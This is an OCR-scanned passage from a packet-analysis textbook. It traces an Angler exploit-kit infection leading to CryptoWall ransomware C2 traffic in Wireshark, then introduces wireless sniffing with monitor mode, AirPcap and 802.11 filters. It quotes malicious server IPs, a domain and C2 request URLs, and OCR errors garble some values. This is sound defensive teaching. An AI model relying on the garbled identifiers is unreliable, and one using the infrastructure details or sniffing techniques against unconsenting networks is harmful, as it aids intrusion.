Cache-Control: no-cache 
2) 
0=6b787638683333616b6431660f05F2393c1a354ad6e57d984568037ecebfe36Ge7Oca9e211cdcOf5cf1b065484cF67e605 
493877069bbcc6b7eae8631985314e8HTTP/1.1 200 0K @ 
Date: Mon, @4 Jan 2016 16:26:30 GMT 
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.@.1e-fips mod_bwlimited/1.4 mod_qos/11.5 
X-Powered-By: PHP/5.4.45 
Connection: close 
Transfer-Encoding: chunked 
Content-Type: text/html 


A 
1663bd@c2ddbcc @ 
e 








3 dient pktfs), 2 server pktfs), 1 turn(s). 























Entire conversation (772 bytes) M Show data as | ASCII bi Stream |0 |$ 
Find: Find Next 
Hide this stream Print Save as... Close Help 








Figure 12-32: A small amount of data is being transferred between these hosts via HTTP. 


If you look through the rest of the capture file, you’ll see that the same 
sequence repeats between these hosts, with varying amounts of data being 
transferred each time. Use the filter http.request.method == "POST" to see 
three different connections with a similar URL structure (Figure 12-33). 





22 15.545562 
152 41.886948 


Time Source 


Destination Protocol Info 


6 @.491136 192.168.122.145  184.170.149.44 HTTP POST /76N1Lm.php?n=x4tk7t4jo6 HTTP/1.1 (application/x-www-form-urlencoded) 
192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?g=9m822y31lxud7aj HTTP/1.1 (application/x-www-form-urlencoded) 
192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?i=ttfkjb668038k1z HTTP/1.1 (application/x-www-form-urlencoded) 





Figure 12-33: The URL structure shows different data being passed to the same page. 
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The 76N1Lm.php portion (the web page) remains the same, but the rest 
of the content (the parameter and data being passed to the page) varies. 
The repeating communication sequence combined with the structure of the 
requests is consistent with command and control (C2) behavior for malware 
and the signature that generated the alert. Its therefore likely that the local 
system is infected with CryptoWall, as the signature suggests. You can further 
verify this by examining a similar sample on the popular CryptoWall Tracker 
research page: https://www.cryptowalltracker.org/cryptowall-4.himl#networktraffic. 


Deciphering the data being communicated between the friendly and hostile system 
during the C2 sequence would be a little complex for this book. But if you're interested, 
you can read more about that process here: https://www.cryptowalltracker.org/ 
communication-protocol. html. 





Now that you've verified that malware-based C2 communication is tak- 
ing place, it’s a good idea to remediate the issue and address the infected 
machine. This is especially important when malware such as CryptoLocker 
is involved, because it attempts to encrypt the user’s data and provides the 
decryption key only if that user pays a hefty ransom—thus, the term ransom- 
ware for such malware. The steps to remediate the problem are beyond the 
scope of this book, but in a real-world scenario, those would be the security 
analyst’s next actions. 

A common follow-up question is how the friendly machine got infected 
in the first place. If this can be determined, you might find other devices 
that have been infected with other malware in a similar way, or you may 
be able to develop protection or detection mechanisms to prevent future 
infection. 

The alert packets only showed the active C2 sequence after the infection. 
In networks performing security monitoring and continuous packet capture, 
many network sensors are configured to store packet data for a few extra 
hours or days for forensic investigations. After all, not every organization is 
equipped to respond to alerts the second they happen. Temporary storage of 
packets allows us to look at the packet data from the friendly host just before 
it started the C2 sequence we saw earlier. Those packets are included in the 
file ek_to_cryptowall4.pcapng. 

A cursory scroll through this packet capture tells us we have a lot more 
packets to look through, but they are all HTTP. Since we know how HTTP 
works already, let’s cut to the chase and limit the visible packets to only 
the requests by using the display filter http.request. This shows 11 HTTP 
requests originating from the friendly host (Figure 12-34). 





No. Time 

4 0.534405 

35 5.265859 

39 6.109508 
123 9.126714 
130 14.020289 
441 30.245463 
456 41.772768 
472 45.628284 
487 56.827194 
619 71.971402 
634 83.168580 


Source Destination Protocol Info 

192.168.122.145 113.20.11.49 HTTP GET /index.php/services HTTP/1.1 

192.168.122.145 45.32.238.202 HTTP GET /contrary/1653873/quite-someone-visitor-nonsense-tonight-sweet-await-gigantic-dance-third HTTP/1.1 
192.168.122.145 45.32.238.202 HTTP GET /occasional/bXJkeHFlYXhmaA HTTP/1.1 

192.168.122.145 45.32.238.202 HTTP GET /goodness/1854996/earnest-fantastic-thorough-weave-grotesque-forth-awaken-fountain HTTP/1.1 
192.168.122.145 45.32.238.202 HTTP GET /observation/enVjZ2dtcnpz HTTP/1.1 

192.168.122.145 213.186.33.18 HTTP POST /VOEHSQ. php?v=x4tk7t4jo6 HTTP/1.1 (application/x-www-form-urlencoded) 

192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?n=x4tk7t4jo6 HTTP/1.1 (application/x-www-form-urlencoded) 

192.168.122.145 213.186.33.18 HTTP POST /VOEHSQ.php?w=9m822y31lxud7aj HTTP/1.1 (application/x-www-form-urlencoded) 
192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?g=9m822y31lxud7aj HTTP/1.1 (application/x-www-form-urlencoded) 
192.168.122.145 213.186.33.18 HTTP POST /VOEHSQ. php?h=ttfkjb668038k1z HTTP/1.1 (application/x-www-form-urlencoded) 
192.168.122.145 184.170.149.44 HTTP POST /76N1Lm.php?i=ttfkjb668038k1z HTTP/1.1 (application/x-www-form-urlencoded) 








Figure 12-34: There are 11 HTTP requests from the friendly host. 


The first request is from the friendly host 192.168.122.145 to an unknown 
external host 113.20.11.49. An examination of the HTTP portion of this 
packet (Figure 12-35) tells us that the user requested the page http://www 
.sydneygroup.com.au/index.php/services/ ® and was referred from a Bing 
search for sydneygroup.com.au @. So far, this looks normal. 

Next, the friendly host makes four requests to another unknown external 
host at 45.32.238.202 in packets 35, 39, 123, and 130. As you've seen in ear- 
lier examples, it’s common for a browser to retrieve content from additional 
hosts when viewing a web page that stores embedded content or advertise- 
ments on third-party servers. This by itself is not worrisome, although the 
domain in these requests looks somewhat random and suspicious. 
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M Wireshark - Packet 4. ek to_cryptowall4 - o x 





> Frame 4: 488 bytes on wire (3904 bits), 488 bytes captured (3904 bits) on interface @ 

> Ethernet II, Src: Dell_e2:4b:86 (00:22:19:e2:4b:86), Dst: CiscoInc_cb:83:4a (00:06:c1:cb:83:4a) 

> Internet Protocol Version 4, Src: 192.168.122.145, Dst: 113.20.11.49 

> Transmission Control Protocol, Src Port: 49314 (49314), Dst Port: 80 (80), Seq: 4203943695, Ack: 3947361356, Len: 434 
{v 


> 1 
Accept: text/html, application/xhtml+xml, */*\r\n 
@ Referer: http://www. bing. com/search?q=sydneygroup. com. au&qs=n&form=QBRE&pq=sydneygroup. com. au&sc=1-20&sp=-1&sk=&cvid=80C@A2B7AC354F9487A526D981E0274C\r\n 
Accept-Language: en-US\r\n 
User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.@; rv:11.@) like Gecko\r\n 
Accept-Encoding: gzip, deflate\r\n 
Host: www.sydneygroup.com.au\r\n 
DNT: 1\r\n 
Connection: Keep-Alive\r\n 
\r\n 
[Full request URI: http://www. sydneygroup.com.au/index.php/services] 
[HTTP request 1/1] 
Response in frame: 27 














No.: 4 + Time: 0.534805 - Source: 192.168.122.145 - Destination: 113.20.11.49 - Protocol: HTTP « Info: GET /index.php/services HTTP/1.1 








Figure 12-35: An HTTP request to an unknown external host 


Things get interesting in the GET request at packet 39. Following the 
TCP stream of this exchange (Figure 12-36), you'll notice that a file named 
bXJkeHFlYXhmaA is requested ®. The name of this file is a little odd, and it 
doesn’t include a file extension either. 





M Wireshark - Follow TCP Stream (tcp.stream eq 1) - ek_to_cryptowall4 = o x 





GET /occasional/bXJkeHF1YXhmaA HTTP/1.1 @ 

Accept: */* 

Accept-Language: en-US 

Referer: http://xktzjm.topcentc.top/contrary/1653873/quite-someone-visitor-nonsense-tonight-sweet-await-gigantic- 
dance-third 

x-flash-version: 19,0,0,245 

Accept-Encoding: gzip, deflate 

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.0; rv:11.@) like Gecko 
Host: xktzjm.topcentc.top 

DNT: 1 

Connection: Keep-Alive 


HTTP/1.1 200 OK 

Server: nginx/1.4.6 (Ubuntu) 

Date: Mon, @4 Jan 2016 16:25:58 GMT 
Content-Type: application/x-shockwave-flash @ 
Transfer-Encoding: chunked 

Connection: keep-alive 
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Figure 12-36: An oddly named Flash file is downloaded. 
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Upon closer inspection, we see that the web server identifies the content 
of this file as x-shockwave-flash @. Flash is a popular plugin used for streaming 
media within a browser. It’s not abnormal to see Flash content downloaded 
by a device, but it’s worth noting that Flash is notorious for having software 
vulnerabilities, and it often goes unpatched. The Flash file is downloaded 
successfully following the request. 

After the Flash file is downloaded, there is a request for another simi- 
larly named file in packet 130. Following this TCP stream (Figure 12-37), 
you see a request for a file named enVjZ2dtcnpz ®. The file type isn’t identi- 
fied here with an extension or by the server. The request is followed by the 
client’s downloading a 358,400-byte chunk of unreadable data @. 











=ke 


@ Wireshark . Follow TCP Stream (tcp.stream eq 3) - ek_to_cryptowall4 = o x 
GET /observation/enVjZ2dtcnpz HTTP/1.1 @ A 
Connection: Keep-Alive 
Accept: */* 


User-Agent: Mozilla/5.@ (Windows NT 6.1; WOW64; Trident/7.@; SLCC2; .NET CLR 2.@.50727; .NET CLR 3.5.30729; .NET 
CLR 3.0.30729; Media Center PC 6.0; rv:11.@) like Gecko 
Host: xktzjm.topcentc.top 


HTTP/1.1 200 OK 
Server: nginx/1.4.6 (Ubuntu) 

Date: Mon, @4 Jan 2016 16:26:06 GMT 
Content-Type: application/octet-stream 
Content-Length: 358400 @ 

Connection: keep-alive 

Last-Modified: Mon, @4 Jan 2016 15:56:19 GMT 
ETag: "568a9623-57800" 

Accept-Ranges: bytes 
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Figure 12-37: Another oddly named file is downloaded, but no file type is identified. 


Less than 20 seconds after that file is downloaded, you should see some- 
thing familiar in the list of HTTP requests from Figure 12-34. Beginning 
with packet 441, the friendly host starts making HTTP POST requests to two 
different servers using the same C2 pattern observed earlier. It’s likely we’ve 
identified the source of the infection. The two files that were downloaded 
were responsible. The first file from the request in packet 39 delivered a 
Flash exploit, and the second file from the request in packet 130 delivered 
the malware. 


You can use malware analysis techniques to decode and analyze the files contained 
in the packet capture. If you’re interested in learning more about reverse engineering 
malware, I recommend Practical Malware Analysis (2012) by Michael Sikorski 
and Andrew Honig, another No Starch Press book and a personal favorite of mine. 
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This scenario represents one of the most common infection techniques. 
A user was browsing the internet and stumbled onto a site that had been 
infected with malicious redirection code from an exploit kit. These kits 
infect legitimate servers and are designed to fingerprint clients to deter- 
mine their vulnerabilities. The infected page is known as the kit’s landing 
page, and its purpose is to redirect the client to another site containing an 
exploit the kit has determined will be effective against the system. 

The packets you've just seen are from the Angler exploit kit, which 
is perhaps the most frequently observed kit of 2015 and 2016. When the 
user reached a site that had been infected by Angler, the kit determined 
the user would be vulnerable to a specific Flash vulnerability. The Flash 
file was delivered, the system was exploited, and a secondary payload of 
the CryptoWall malware was downloaded and installed on the host. This 
entire sequence is depicted in Figure 12-38. 


Legitimate Website 
Compromised by Attacker 
113.20.11.49 
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1. User visits legitimate, 
but compromised website 


2. Browser is redirected to exploit kit landing page. 
3. System downloads and runs Flash exploit. 
4. System downloads and installs CryptoWall malware. 








Target Friendly Device 
192.168.122.145 
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Exploit Kit Server 
45.32.238.202 


5. Malware communicates with 
command and control servers. 











Ill. 





CryptoWall C2 Server 
184.170.149.44 
213.186.33.18 


Figure 12-38: The exploit kit infection sequence 


Final Thoughts 


Entire books could be written on breaking down packet captures in security- 
related scenarios, analyzing common attacks, and responding to IDS alerts. 
In this chapter, we’ve examined some common scanning and enumeration 
techniques, a common MITM attack, and a couple of examples of how a 
system might be exploited and what might happen as a result. 
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WIRELESS PACKET ANALYSIS 


The world of wireless networking is a bit 
different from that of traditional wired 
networking. Although we are still dealing 





with common communication protocols such 
as TCP and IP, the game changes a bit when moving 
to the lowest levels of the OSI model. Here, the data 


link layer is of special importance due to the nature of wireless networking 
and the physical layer. Instead of simple wired protocols such as Ethernet, 
which haven’t changed much over time, we have to consider the nuances 
of wireless protocols such as 802.11, which have evolved pretty quickly. 
This puts new restrictions on the data we access and how we capture it. 

Given these extra considerations, it should come as no surprise that an 
entire chapter of this book is dedicated to packet capture and analysis on 
wireless networks. In this chapter, we will discuss exactly why wireless net- 
works are unique when it comes to packet analysis and how to overcome any 
challenges. Of course, we will be doing this by looking at actual practical 
examples of wireless network captures. 
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Physical Considerations 
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The first thing to consider about capturing and analyzing data transmitted 
across a wireless network is the physical transmission medium. Until now, 
we haven’t considered the physical layer because we’ve been communicating 
over physical cabling. Now we’re communicating through invisible airwaves, 
with packets flying right by us. 


Sniffing One Channel at a Time 


A consideration distinct to capturing traffic from a wireless local area net- 
work (WLAN) is that the wireless spectrum is a shared medium. Unlike 
wired networks, where each client has its own network cable connected to 
a switch, the wireless communication medium is the airspace clients share, 
which is limited in size. A single WLAN will occupy only a portion of the 
802.11 spectrum. This allows multiple systems to operate in the same physi- 
cal area on different portions of the spectrum. 


Wireless networking is based on the 802.11 standard, developed by the Institute of 
Electrical and Electronics Engineers (IEEE). Throughout this chapter, the terms 
wireless network and WLAN refer to networks that adhere to the 802.11 stan- 
dard. The most popular versions of this standard are 802.11a, b, g, and n. Each 
offers a unique set of features and characteristics, with newer standards such as 

n offering faster speed. They all still use the same spectrum. 


This separation of space is made possible by dividing the spectrum into 
operation channels. A channel is simply a portion of the 802.11 wireless spec- 
trum. In the United States, 11 channels are available (more are allowed in 
some other countries). This is relevant because, just as a WLAN can oper- 
ate on only one channel at a time, we can sniff packets on only one channel 
at a time, as illustrated in Figure 13-1. Therefore, if you are troubleshooting 
a WLAN operating on channel 6, you must configure your system to capture 
traffic seen on channel 6. 
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Figure 13-1: Sniffing wirelessly can be tedious, since it can be done on only 
one channel at a time. 


Traditional wireless sniffing can only be done one channel at a time, with 
an exception: certain wireless scanning applications use a technique called 
channel hopping to change channels rapidly in order to collect data. One of 
the most popular tools of this type, Kismet (http://www.kismetwireless.net/), can 
hop up to 10 channels per second, a capability that makes it very effective at 
sniffing multiple channels at once. 


Wireless Signal Interference 


With wireless communications, we sometimes can’t rely on the integrity 

of the data being transmitted over the air. It’s possible that something will 
interfere with the signal. Wireless networks include some features to handle 
interference, but those features don’t always work. Therefore, when captur- 
ing packets over a wireless network, you must pay close attention to your 
environment to ensure that there are no significant sources of interference, 
such as big reflective surfaces, large rigid objects, microwaves, 2.4 GHz 
phones, thick walls, or high-density surfaces. These can cause packet loss, 
duplicated packets, and malformed packets. 

Interference between channels is also a concern. Although you can 
sniff only one channel at a time, this comes with a small caveat: several 
transmission channels are available in the wireless networking spectrum, 
but because space is limited, there is a slight overlap between channels, 
as illustrated in Figure 13-2. This means that if there is traffic present on 
channel 4 and channel 5, and you are sniffing on one of these channels, 
you will likely capture packets from the other channel. Typically, networks 
that coexist in the same area are designed to use nonoverlapping channels 
of 1, 6, and 11, so you probably won’t encounter this problem. But just in 
case, you should understand why it happens. 


Channel Center 
Frequency (GHz) 


12 13 14 






2.402 GHz 2.483 GHz 


Figure 13-2: There is overlap between channels due to limited spectrum space. 


Detecting and Analyzing Signal Interference 


Troubleshooting wireless signal interference isn’t something that can be 
done by looking at packets in Wireshark. If you are going to make a habit 
or a career out of troubleshooting WLANs, you will surely need to check 
for signal interference regularly. This task is done with a spectrum analyzer, 
a tool that displays data or interference across the spectrum. 

Commercial spectrum analyzers can cost upward of thousands of dollars, 
but there is a great solution for common everyday use. MetaGeek makes a 
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USB hardware device, the Wi-Spy, that monitors the entire 802.11 spectrum 
for signals. When paired with MetaGeek’s inSSIDer or Chanalyzer software, 
this hardware outputs the spectrum graphically to aid in the troubleshooting 
process. Sample output from Chanalyzer is shown in Figure 13-3. 








No WrSpy Dewees 


Figure 13-3: This Chanalyzer output shows four signals equally spaced along the 
Wi-Fi spectrum. 


Wireless Card Modes 
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Before we start sniffing wireless packets, we need to look at the different 
modes in which a wireless card can operate as it pertains to packet capture. 
Four wireless NIC modes are available: 


Managed mode This mode is used when your wireless client connects 
directly to a wireless access point (WAP). In these cases, the driver asso- 
ciated with the wireless NIC relies on the WAP to manage the entire 
communication process. 


Ad hoc mode This mode is used when you have a wireless network 
setup in which devices connect directly to each other. In this mode, 
two wireless clients that want to communicate with each other share 
the responsibilities that a WAP would normally handle. 


Master mode Some higher-end wireless NICs also support master 
mode. This mode allows the wireless NIC to work in conjunction with 
specialized driver software in order to allow the computer to act as a 
WAP for other devices. 


Monitor mode This is the most important mode for our purposes. 
Monitor mode is used when you want your wireless client to stop trans- 
mitting and receiving data and instead only listen to the packets flying 
through the air. For Wireshark to capture wireless packets, your wire- 
less NIC and accompanying driver must support monitor mode (also 
known as RFMON mode). 


Most users use wireless cards in only managed mode or ad hoc mode. 
A graphical representation of the way each mode operates is shown in 
Figure 13-4. 
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Figure 13-4: The different wireless card modes 
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I’m often asked which wireless card I recommend for wireless packet analysis. I use 
and highly recommend products from ALFA network. Their products are regarded as 
some of the best on the market for ensuring you are capturing every possible packet, 
and they’re cost-effective and portable. ALFA’s products are available through most 
online computer hardware retailers. 


Sniffing Wirelessly in Windows 


Even if you have a wireless NIC that supports monitor mode, most Windows- 
based wireless NIC drivers won’t allow you to change into this mode. This 
means that you'll only be able to capture packets to and from the wireless 
interface on the device you’re using to connect to the network. To capture 
packets between all devices on a channel, you'll need extra hardware. 


Configuring AirPcap 

AirPcap from Riverbed Technologies (http://www.riverbed.com/) is designed 
to overcome the limitations that Windows places on wireless packet analy- 
sis. AirPcap is a small USB device that resembles a flash drive, as shown 

in Figure 13-5. It is designed to capture wireless traffic from one or more 
specified channels. AirPcap uses the WinPcap driver and a special client 
configuration utility. 





Figure 13-5: The AirPcap device is very compact, 
making it easy to tote along with a laptop. 


The AirPcap configuration program (shown in Figure 13-6) is simple 
to use, with only a few configurable options: 


Interface You can select the device you are using for your capture 
here. Some advanced analysis scenarios may require you to use more 
than one AirPcap device to sniff simultaneously on multiple channels. 


Blink Led Clicking this button will make the LED lights on the 
AirPcap device blink. This is primarily used to identify the specific 
adapter you are using if you have multiple AirPcap devices. 


Channel In this field, you select the channel you want AirPcap to 
listen on. 
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R AirPcap Control Panel * — x 


Settings Keys 
Interface 


AitPcap USB wireless capture adapter nr. 00 v Blink Led 
Model: AirPcap Tx Transmit: yes Media: 802.11 b/g 
Basic Configuration 


Channel | 2437 MHz [BG 6] v| M Include 802.11 FCS in Frames 





Extension Channel 0 


Capture Type 802.11 + Radio ~| FCS Filter | All Frames {v 
Help 
Reset Configuration Ok Apply Cancel 








Figure 13-6: The AirPcap configuration program 


Extension Channel Here you can select an extension channel, a fea- 
ture of 802.11n adapters allowing for the creation of wider channels. 


Include 802.11 FCS in Frames By default, some systems strip the last 
four checksum bits from wireless packets. This checksum, known as a 
frame check sequence (FCS), is used to ensure that packets have not 
been corrupted during transmission. Unless you have a specific reason 
to do otherwise, check this box to include the FCS checksums. 


Capture Type The three options here are 802.11 Only, 802.11 + 
Radio, and 802.11 + PPI. The 802.11 Only option includes the stan- 
dard 802.11 packet header on all captured packets. The 802.11 + 
Radio option includes this header and prepends it with a radiotap 
header, which contains additional information about the packet, such 
as data rate, frequency, signal level, and noise level. The 802.11 + PPI 
option adds the Per-Packet Information Header, which contains addi- 
tional information about 802.11n packets. 


FCS Filter Even if you uncheck the Include 802.11 FCS in Frames 
box, this option lets you filter out packets that FCS determines are cor- 
rupted. Use the Valid Frames option to show only those packets that 
FCS thinks can be received successfully. 


WEP Configuration This area (accessible on the Keys tab of 
the AirPcap Control Panel) allows you to enter WEP decryption 
keys for the networks you will be sniffing. To be able to interpret 
data encrypted by WEP, you will need to enter the correct WEP 
keys into this field. WEP keys are discussed in “Successful WEP 
Authentication” on page 309. 
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Capturing Traffic with AirPcap 


Once you have AirPcap installed and configured, the capture process 
should be familiar to you. Just start up Wireshark and select the AirPcap 
interface to start collecting packets from it (Figure 13-7). 









































M Wireshark - Capture Interfaces x 
Input Output Options 
Interface Traffic Link-layer Header Promiscuous Snaplen (B) Buffer (MB) Capture Filter 
802.11 plus radiotap header enabled default 2 
Ethernet enabled default 2 
> Ethernet Ethernet enabled default 2 
> Ethernet 2 Ethernet enabled default 2 
> Ethernet 3 Ethernet enabled default 2 
> Local Area Connection* 2 Ethernet enabled default 2 
> Local Area Connection* 4 Ethernet enabled default 2 
Wi-Fi Ethernet enabled default 2 
[v] Enable promiscuous mode on all interfaces Manage Interfaces... 
Capture Filter for selected Interfaces: | Enter a capture filter bd Compile BPFs 
a= | [i 








Figure 13-7: Selecting the AirPcap interface to capture packets 


actively capture packets while you attempt to change the channel. 


Remember that you will be capturing packets from whatever channel 
you selected in the AirPcap configuration utility. If you don’t see the packets 
youre looking for, it’s probably because you're looking on the wrong channel. 
Change the channel by stopping the active capture, selecting a new channel 
in the AirPcap configuration utility, and restarting the capture. You can’t 


If you need to verify what channel you're capturing from within 
Wireshark, an easy way is to view wireless capture statistics. Do this by 
clicking Wireless » WLAN Traffic from the main drop-down menu. The 
resulting window will show you the devices that were observed and infor- 
mation about them, including the 802.11 channel, as shown in Figure 13-8. 


























@ Wireshark - Wireless LAN Statistics - wireshark_pcapng_airpcap00_20160502104321_a11004 oe o x 
BSSID Channel SSID Percent Pack: Beacons )ata Pkts »be Reqs »be Resp Auths Deauths Other Protection 

> 30:60:23:8f:da:c0 11 ATT2p9x8Xx2 6.6 4 0 0 0 0 0 0 

> 44:e1:37:2c:68:70 11 ATT243V3c2 34.4 18 3 0 0 0 0 0 Unknown 

> 8c62:c4:0f:1a:4a <Broadcast> 1.6 0 0 0 0 1 0 0 

> 90:3e:ab:f0:98:80 11 ATT9C6g9S6 18.0 9 2 0 0 0 0 0 Unknown 

> 94:62:69:4f:4e:90 11 ATTQSKkccl 6.6 4 0 0 0 0 0 0 

> f0:92:1c:d8:3a:d6 11 HP-Print-D6-Officejet 4630 32.8 20 0 0 0 0 0 0 
Display filter: Enter a display filter 

Copy || Save as... | Close Help 








Figure 13-8: The Wireless LAN Statistics window indicates this data was captured by listening to channel 11. 
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Sniffing Wirelessly in Linux 


Sniffing in Linux is simply a matter of enabling monitor mode on the wire- 
less NIC and firing up Wireshark. Unfortunately, the procedure for enabling 
monitor mode differs with each model of wireless NIC, so I can’t offer defini- 
tive advice for doing this. In fact, some wireless NICs don’t require you to 
enable monitor mode. Your best bet is to do a quick Google search for your 
NIC model to determine whether you need to enable it and, if so, how. 

One of the more common ways to enable monitor mode in Linux is 
through its built-in wireless extensions. You can access these wireless exten- 
sions with the iwconfig command. If you type iwconfig from the console, you 
should see results like this: 





$ iwconfig 
@ Etho no wireless extensions 
Loo no wireless extensions 
@ Ethi IEEE 802.11 ESSID: "Tesla Wireless Network" 
Mode: Managed Frequency: 2.462 GHz Access Point: 00:02:2D:8B:70:2E 
Bit Rate: 54 Mb/s Tx-Power-20 dBm Sensitivity=8/0 
Retry Limit: 7 RTS thr: off Fragment thr: off 
Power Management: off 
Link Quality=75/100 Signal level=-71 dBm Noise level=-86 dBm 
Rx invalid nwid: 0 Rx invalid crypt: 0 Rx invalid frag: 0 
Tx excessive retries: 0 Invalid misc: 0 Missed beacon: 2 


The output from the iwconfig command shows that the Eth1 interface 
can be configured wirelessly. This is apparent because it shows data for the 
802.11g protocol @, whereas the interfaces Etho and Loo return the phrase no 
wireless extensions @. 

Along with all the wireless information this command provides, such 
as the wireless extended service set ID (ESSID) and frequency, notice that 
the second line under Eth1 shows that the mode is currently set to managed. 
This is what we want to change. 

To change the Eth1 interface to monitor mode, you must be logged in 
as the root user, either directly or via the switch user (su) command, as 
shown here: 





$ su 
Password: <enter root password here> 





Once you're root, you can type commands to configure the wireless 
interface options. To configure Eth1 to operate in monitor mode, enter this: 





# iwconfig eth1 mode monitor 





Once the NIC is in monitor mode, running the iwconfig command 
again should reflect your changes. Now ensure that the Eth1 interface is 
operational by entering the following: 





# iwconfig eth1 up 
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We’ll also use the iwconfig command to change the channel we are lis- 
tening on. Change the channel of the Eth1 interface to channel 3 by enter- 
ing this: 


# iwconfig eth1 channel 3 





You can change channels on the fly as you are capturing packets, so don’t hesitate to 
do so at will. The inconfig command can also be scripted to make the process easier. 


When you have completed these configurations, start Wireshark and 
begin your packet capture. 


802.11 Packet Structure 


80211beacon 


-pcapng 
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The primary difference between wireless and wired packets is the addi- 
tion of the 802.11 header. This layer 2 header contains extra information 
about the packet and the medium by which it is transmitted. There are 
three types of 802.11 packets: 


Management These packets are used to establish connectivity 
between hosts at layer 2. Some important subtypes of management 
packets include authentication, association, and beacon packets. 


Control Control packets allow for delivery of management and 
data packets, and they are concerned with congestion management. 
Common subtypes include request-to-send and clear-to-send packets. 


Data These packets contain actual data and are the only types of 
packets that can be forwarded from the wireless network to the wired 
network. 


The type and subtype of a wireless packet determine its structure, so 
there are a large number of possible structures. We’ll examine one such 
structure by looking at a single packet in the file 8021 [beacon.pcapng. This 
file contains an example of a management packet called a beacon, as shown 
in Figure 13-9. 

A beacon is one of the most informative wireless packets you can find. 
It is sent as a broadcast packet from a WAP across a wireless channel to 
notify any listening wireless clients that the WAP is available and to define 
the parameters that must be set in order to connect to it. In our example 
file, you can see that this packet is defined as a beacon in the Type/Subtype 
field in the 802.11 header ®. 

A great deal of additional information is found in the 802.11 manage- 
ment frame header, including the following: 


Timestamp The time the packet was transmitted 


Beacon Interval The interval at which the beacon packet is 
retransmitted 


Capabilities Information Information about the hardware capabili- 
ties of the WAP 


M Wireshark - Packet 1 - 80211beacon = oO x 





Frame 1: 132 bytes on wire (1056 bits), 132 bytes captured (1056 bits) 
V IEEE 802.11 Beacon frame, Flags: ........ 
Type/Subtype: Beacon frame (@x0008) @ 
Frame Control Field: @x8ee0 
.000 0000 @00@ GBOO = Duration: @ microseconds 
Receiver address: Broadcast (ff:ff:ff:ff:ff:fFf) 
Destination address: Broadcast (ff:ff:ff:ff:ff: ff) 
Transmitter address: D-LinkCo_@b:22:ba (@@:13:46:@b:22:ba) 
@ source address: D-LinkCo_@b:22:ba (@0:13:46:@b:22:ba) 
BSS Id: D-LinkCo_@b:22:ba (@@:13:46:@b:22:ba) 
s... se.. +... OOOO = Fragment number: @ 
0101 0100 1000 .... = Sequence number: 1352 
V IEEE 802.11 wireless LAN management frame 
vV Fixed parameters (12 bytes) 
Timestamp: @x®00000001685a181 
Beacon Interval: 0.102400 [Seconds] 
Capabilities Information: @x@431 
V Tagged parameters (96 bytes) 
Tag: SSID parameter set: TESLA 
© Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 6, 12, 24, 36, [Mbit/sec] 
Tag: DS Parameter set: Current Channel: 10 
Tag: Traffic Indication Map (TIM): DTIM @ of @ bitmap 
Tag: ERP Information 
Tag: Extended Supported Rates 9, 18, 48, 54, [Mbit/sec] 
Tag: Vendor Specific: AtherosC: Advanced Capability 
Tag: Vendor Specific: AtherosC: Unknown 
Tag: Vendor Specific: AtherosC: eXtended Range 
Tag: Vendor Specific: GlobalSu 











No.: 1 * Time: 0.000000 * Source: D-LinkCo_0b:22:ba + Destination: Broadc...1 * Info: Beacon frame, SN=1352, FN=0, Flags=e00 v BI=100, SSID=T 








Figure 13-9: This is an 802.11 beacon packet. 


SSID parameter set The SSID (network name) broadcast by the WAP 
Supported Rates The data transfer rates supported by the WAP 
DS Parameter set The channel on which the WAP is broadcasting 


The header also includes the source and destination addresses and 
vendor-specific information. 

Based on this, we can determine quite a few things about the WAP 
transmitting the beacon in the example file. It is apparent that it is a 
D-Link device @ using the 802.11b standard (B) ® on channel 11 @. 

Although the exact contents and purpose of 802.11 management packets 
will change, the general structure remains similar to this example. 


Adding Wireless-Specific Columns to the Packet List Pane 


In previous chapters, we’ve leveraged Wireshark’s flexible interface to add 
situationally appropriate columns. Before we proceed with any additional 
wireless analysis, it will be helpful to add the following three columns to the 
Packet List pane. 
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The Channel column, to show the channel on which the packet was 
collected 


The Signal Strength column, to show the signal strength of a captured 
packet in dBm 


The Data Rate column, to show the throughput rate of a captured packet 


These indicators can be of great help when troubleshooting wireless 


connections. For instance, even if your wireless client software says you have 
excellent signal strength, doing a capture and checking these columns may 
show you a number that does not support this claim. 


To add these columns to the Packet List pane, follow these steps: 


Choose Edit > Preferences. 
Navigate to the Columns section and click +. 


Type Channel in the Title field, select Custom in the Type drop-down 
list, and use the filter wlan_radio.channel in the Field Name box. 


Repeat this process for the Signal Strength and Data Rate columns, 
titling them appropriately and selecting wlan_radio.signal_dbm and 
wlan_radio.data_rate, respectively, in the Field Name drop-down list. 
Figure 13-10 shows what the Preferences window should look like after 
you have added all three columns. 



























































M Wireshark - Preferences ? x 
vV Appearance 
Layout Displayed Title Type Field Name Field Occurrence 
Columns z No. Number 
Font and Colors! zZ Time Time (format as specified) 
Capture z Source Source address 
Filter Expressions z] Destination Destination address 
Name Resolution z Protocol Protocol 
Protocols v Length Packet length (bytes) 
Statistics m] Channel Custom wlan_radio.channel 
Advanced | Signal strength (dBm) Custom wlan_radio.signal_dbm 
v] Data rate Custom wlan_radio.data_rate 
z Info Information 


























Ca [ee] [a 











Figure 13-10: Adding the IEEE wireless-specific columns in the Packet List pane 


5. Click OK to save your changes. 


Wireless-Specific Filters 


We discussed the benefits of capture and display filters in Chapter 4. 
Filtering traffic in a wired infrastructure is a lot easier since each device 
has its own dedicated cable. In a wireless network, however, all traffic gen- 
erated by wireless clients coexists on shared channels, meaning that a cap- 
ture of any one channel may contain traffic from dozens of clients. This 
section is devoted to some packet filters that can be used to help you find 
specific traffic. 


Filtering Traffic for a Specific BSS ID 


Each WAP in a network has a unique identifying name called its basic service 
set identifier (BSS ID). This name is sent in every wireless management packet 
and data packet that the access point transmits. 

Once you know the name of the BSS ID you want to examine, all you 
really need to do is find a packet that has been sent from that particular 
WAP. Wireshark shows the transmitting WAP in the Info column of the 
Packet List pane, so finding this information is typically easy. 

Once you have a packet from the WAP of interest, find its BSS ID field 
in the 802.11 header. This is the address on which you will base your filter. 
After you have found the BSS ID MAC address, you can use this filter: 





wlan.bssid == 00:11:22:33:44:55 





And you will see only the traffic flowing through the specified WAP. 


Filtering Specific Wireless Packet Types 


